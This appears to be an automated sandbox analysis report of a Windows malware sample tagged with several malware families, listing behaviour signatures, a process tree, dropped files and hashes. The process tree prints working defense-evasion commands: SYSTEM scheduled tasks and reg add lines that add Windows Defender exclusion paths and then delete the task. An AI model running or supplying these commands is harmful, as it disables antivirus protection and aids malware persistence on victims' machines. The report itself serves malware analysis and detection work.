Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 09:12

General

  • Target
    2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
  • Size 38.9MB
  • Sample261030-k6cemaxxbs
  • SHA256 948bdce1ccc9de297c31645b7d4d2675809c9cdc6597fc565512e3f9b78a9092
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-28_1c16d282e9cacb15d2386bc9e2466f2d_amadey_cobalt-strike_coinminer_icedid_njrat_vidar.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4652
  • C:\Users\Public\3js1KK\ELa1Db.exe
    C:\Users\Public\3js1KK\ELa1Db.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5652
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3js1KK\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5928
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\3js1KK\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:6104
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1760
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:1464
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:6000
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:6112
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1848
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:1312
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5064
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2488
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3300
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:712
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3352
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:728
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2400
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:440
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2696
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2592
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:1380
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3092
                      • C:\Users\Public\3js1KK\ELa1Db.exe
                        "C:\Users\Public\3js1KK\ELa1Db.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:6140
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3js1KK" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1576
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\3js1KK" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2396
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2416
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4184
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4540
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4520
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4752

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              ELa1Db.exe

                              • Path C:\Users\Public\3js1KK\ELa1Db.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\3js1KK\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 467a531dfb813db2003e233f1999afe3217d8b5d79c1e5901d7ebac86098f4f9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\3js1KK\adoresd.dat
                              • Size 4.8MB
                              • SHA256 0c4bff22a6bac63808af1e193072c24971103bac7a718ae696ab0c1646db760e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\3js1KK\msadox.tb
                              • Size 8KB
                              • SHA256 0f997c290687bffbb393691b24563816471c0ca12f4bf6270c161be0ef9cd7f4
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/4652-1-0x00000000001E0000-0x00000000001EC000-memory.dmp

                              memory/4652-501-0x00000000001D0000-0x00000000001DE000-memory.dmp

                              memory/4652-503-0x00007FF85FE90000-0x00007FF85FEA0000-memory.dmp

                              memory/4652-524-0x00007FF85FE90000-0x00007FF85FEA0000-memory.dmp

                              memory/4652-523-0x00007FF86A810000-0x00007FF86AA05000-memory.dmp

                              memory/4652-0-0x00007FF86A810000-0x00007FF86AA05000-memory.dmp

                              memory/5652-545-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-564-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-530-0x00007FF84B330000-0x00007FF84B84E000-memory.dmp

                              memory/5652-538-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-542-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-537-0x00007FF86AA20000-0x00007FF86AA22000-memory.dmp

                              memory/5652-544-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-543-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-529-0x00007FF86AA10000-0x00007FF86AA12000-memory.dmp

                              memory/5652-549-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-554-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-560-0x000001791DE90000-0x000001791DF1A000-memory.dmp

                              memory/5652-562-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-535-0x000001791D020000-0x000001791D8F7000-memory.dmp

                              memory/5652-559-0x000001791DE90000-0x000001791DF1A000-memory.dmp

                              memory/5652-558-0x000001791DE90000-0x000001791DF1A000-memory.dmp

                              memory/5652-557-0x000001791DE90000-0x000001791DF1A000-memory.dmp

                              memory/5652-556-0x000001791DA60000-0x000001791DAAE000-memory.dmp

                              memory/6140-569-0x00007FF84B330000-0x00007FF84B84E000-memory.dmp

                              memory/6140-572-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-575-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-579-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-583-0x00007FF86AA10000-0x00007FF86AA12000-memory.dmp

                              memory/6140-581-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-580-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-582-0x000001CAB1BD0000-0x000001CAB24A7000-memory.dmp

                              memory/6140-574-0x00007FF86AA20000-0x00007FF86AA22000-memory.dmp